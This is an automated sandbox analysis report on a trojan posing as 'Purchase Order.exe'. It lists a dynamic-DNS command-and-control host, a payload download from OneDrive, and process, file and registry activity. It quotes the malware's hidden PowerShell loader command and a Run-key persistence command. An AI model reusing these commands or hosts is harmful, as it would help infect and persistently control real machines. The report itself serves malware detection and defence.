Windows Analysis Report
Purchase Order.exe

C2 URLs / IPs found in malware configuration

Source: Yara match	File source: 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.000000000788F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ultradolichocephaly.exe PID: 6008, type: MEMORYSTR

Source: Purchase Order.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.5:49713 version: TLS 1.2

Source: Purchase Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb@ source: powershell.exe, 00000002.00000002.2751700296.0000000008327000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5SEA source: powershell.exe, 00000002.00000002.2746093793.0000000002B78000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2749734497.000000000721D000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00406033 FindFirstFileA,FindClose,	0_2_00406033
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055D1
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_00406033 FindFirstFileA,FindClose,	7_2_00406033
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	7_2_004055D1
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_00402688 FindFirstFileA,	7_2_00402688

Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Source: Malware configuration extractor

URLs: tochisglobal.ddns.net

Uses dynamic DNS services

Source: unknown

DNS query: name: tochisglobal.ddns.net

Source: global traffic

TCP traffic: 192.168.2.5:49715 -> 103.253.17.222:6426

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 13.107.137.11 13.107.137.11
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: WIFIKU-AS-IDPTWifikuIndonesiaID WIFIKU-AS-IDPTWifikuIndonesiaID

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /download?resid=7EB674A88CCF381D%21539&authkey=!AJYql7taWUIXlaI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: onedrive.live.comCache-Control: no-cacheCookie: MUID=02A1F39C44B160352D6AE03C40B16444

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /download?resid=7EB674A88CCF381D%21539&authkey=!AJYql7taWUIXlaI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: onedrive.live.comCache-Control: no-cacheCookie: MUID=02A1F39C44B160352D6AE03C40B16444
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: onedrive.live.com
Source: global traffic	DNS traffic detected: DNS query: kxwbha.am.files.1drv.com
Source: global traffic	DNS traffic detected: DNS query: tochisglobal.ddns.net
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000002.00000002.2749734497.00000000071DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpN
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpW
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpo
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/t:
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/w
Source: Ultradolichocephaly.exe, Ultradolichocephaly.exe, 00000007.00000002.3198146602.0000000000409000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Purchase Order.exe, 00000000.00000000.1953867569.0000000000409000.00000008.00000001.01000000.00000003.sdmp, Purchase Order.exe, 00000000.00000002.1987821227.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3198146602.0000000000409000.00000008.00000001.01000000.00000009.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2746622815.0000000004A57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2746622815.0000000004901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2746622815.0000000004A57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2746622815.0000000004901000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBsq
Source: powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2746622815.0000000004A57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.000000000784A000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kxwbha.am.files.1drv.com/
Source: Ultradolichocephaly.exe, 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kxwbha.am.files.1drv.com/4
Source: Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kxwbha.am.files.1drv.com/D
Source: Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078B9000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2738950429.00000000078B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kxwbha.am.files.1drv.com/pF
Source: Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kxwbha.am.files.1drv.com/y4mpeceYAMLWx5PShbJGMk6tKW6mQBechZgu3aTbJoU6yxz1XJ53X1sSgh53U1m7pv4
Source: powershell.exe, 00000002.00000002.2748605695.0000000005966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.0000000007828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.00000000078A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/4w7
Source: Ultradolichocephaly.exe, 00000007.00000002.3203656499.000000000784A000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000003.2721255135.00000000078B9000.00000004.00000020.00020000.00000000.sdmp, Ultradolichocephaly.exe, 00000007.00000002.3214197333.00000000234E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=7EB674A88CCF381D%21539&authkey=

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown

HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.5:49713 version: TLS 1.2

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_00405086 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405086

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 00000007.00000003.2782489170.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.00000000078E6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3203656499.000000000788F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ultradolichocephaly.exe PID: 6008, type: MEMORYSTR

System Summary

Source: initial sample

Static PE information: Filename: Purchase Order.exe

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040310F
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		7_2_0040310F

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Windows\resources\0809

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004048C5	0_2_004048C5
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004064CB	0_2_004064CB
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00406CA2	0_2_00406CA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0446F010	2_2_0446F010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0446F8E0	2_2_0446F8E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0446ECC8	2_2_0446ECC8
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_004048C5	7_2_004048C5
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_004064CB	7_2_004064CB
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_00406CA2	7_2_00406CA2

Source: Purchase Order.exe

Static PE information: invalid certificate

Source: Purchase Order.exe, 00000000.00000000.1953885414.0000000000449000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenamegenanvendelsesprojekters shuntens.exeDVarFileInfo$ vs Purchase Order.exe

Source: Purchase Order.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"

Source: classification engine

Classification label: mal100.troj.evad.winEXE@13/12@4/3

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040310F
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Code function: 7_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		7_2_0040310F

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_00404352 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404352

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Users\user\AppData\Local\potentially

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Mutant created: \Sessions\1\BaseNamedObjects\-2MBZMJ
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1276:120:WilError_03

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Users\user\AppData\Local\Temp\nsrA3F.tmp

Source: Purchase Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Process

Source: C:\Users\user\Desktop\Purchase Order.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Purchase Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Purchase Order.exe

Virustotal: Detection: 20%

Source: C:\Users\user\Desktop\Purchase Order.exe

File read: C:\Users\user\Desktop\Purchase Order.exe

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Encloser=Get-Content 'C:\Users\user\AppData\Local\potentially\Avantgarders\Epilogic.bac';$Gulvhjderne229=$Encloser.SubString(2901,3);.$Gulvhjderne229($Encloser)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe "C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe"
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Encloser=Get-Content 'C:\Users\user\AppData\Local\potentially\Avantgarders\Epilogic.bac';$Gulvhjderne229=$Encloser.SubString(2901,3);.$Gulvhjderne229($Encloser)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe "C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Ultradolichocephaly.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Announces" /t REG_EXPAND_SZ /d "%Compressible% -windowstyle minimized $Harmlses=(Get-ItemProperty -Path 'HKCU:\Xylograferede94\').Karatenes;%Compressible% ($Harmlses)"	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
